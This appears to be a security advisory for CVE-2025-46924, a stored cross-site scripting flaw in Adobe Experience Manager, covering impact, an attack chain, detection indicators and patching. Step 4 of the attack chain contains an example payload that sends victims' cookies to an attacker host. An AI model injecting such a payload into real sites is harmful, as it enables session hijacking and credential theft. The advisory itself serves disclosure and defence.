CVE-2025-46924: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46924 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier, as well as AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available on June 11, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. A low-privileged, network-accessible attacker can inject malicious JavaScript into form fields within AEM, which is then stored and later rendered in the browser of any user who visits the affected page. Exploitation requires user interaction (a victim browsing to the page containing the malicious payload) but does not require high privileges, making it accessible to any authenticated user with basic write access (Adobe Advisory).

Successful exploitation allows an attacker to execute unauthorized JavaScript in a victim's browser, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and exposure of sensitive information accessible within the victim's session context. The scope is changed (S:C), meaning the impact extends beyond the vulnerable component to the victim's browser environment. Confidentiality and integrity are both assessed as low impact, with no direct availability impact (Adobe Advisory).

There is no public proof-of-concept exploit available, and no evidence of in-the-wild exploitation has been reported as of the time of disclosure. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier, or AEM Cloud Service prior to 2025.5.0, with a publicly or internally accessible web interface.
2. Obtain low-privileged access: Authenticate to the AEM instance using any low-privileged account (e.g., a content author or contributor account).
3. Locate vulnerable form field: Navigate to a page or component within AEM that contains a form field susceptible to stored XSS — such as a text input, rich text editor, or metadata field that does not properly sanitize input.
4. Inject malicious payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save or publish the content.
5. Trigger victim execution: Wait for or socially engineer a victim (e.g., an administrator or another user) to browse to the page containing the injected payload, causing the malicious script to execute in their browser.
6. Achieve objective: Collect stolen session cookies, credentials, or perform actions on behalf of the victim within the AEM environment (Adobe Advisory).

• Logs: AEM access logs showing POST requests to form submission or content authoring endpoints containing suspicious script tags or encoded JavaScript (e.g., %3Cscript%3E, javascript:, onerror=).
• File System / Content Repository: Unexpected JavaScript content stored in AEM JCR (Java Content Repository) nodes, particularly in text or metadata properties of pages or components.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying cookie or session data as query parameters.
• Logs: Browser-side console errors or CSP violation reports logged server-side indicating attempted execution of inline scripts on AEM pages.

Adobe has released patches addressing this vulnerability: update AEM on-premise to version 6.5.23 or later, and AEM Cloud Service to 2025.5.0 or later. As supplementary mitigations, administrators should implement a strict Content Security Policy (CSP) to limit script execution, enforce rigorous input validation and output encoding on all form fields, and regularly audit stored content for unexpected script injections. Monitoring for suspicious user activity and restricting write access to trusted users can further reduce risk (Adobe Advisory).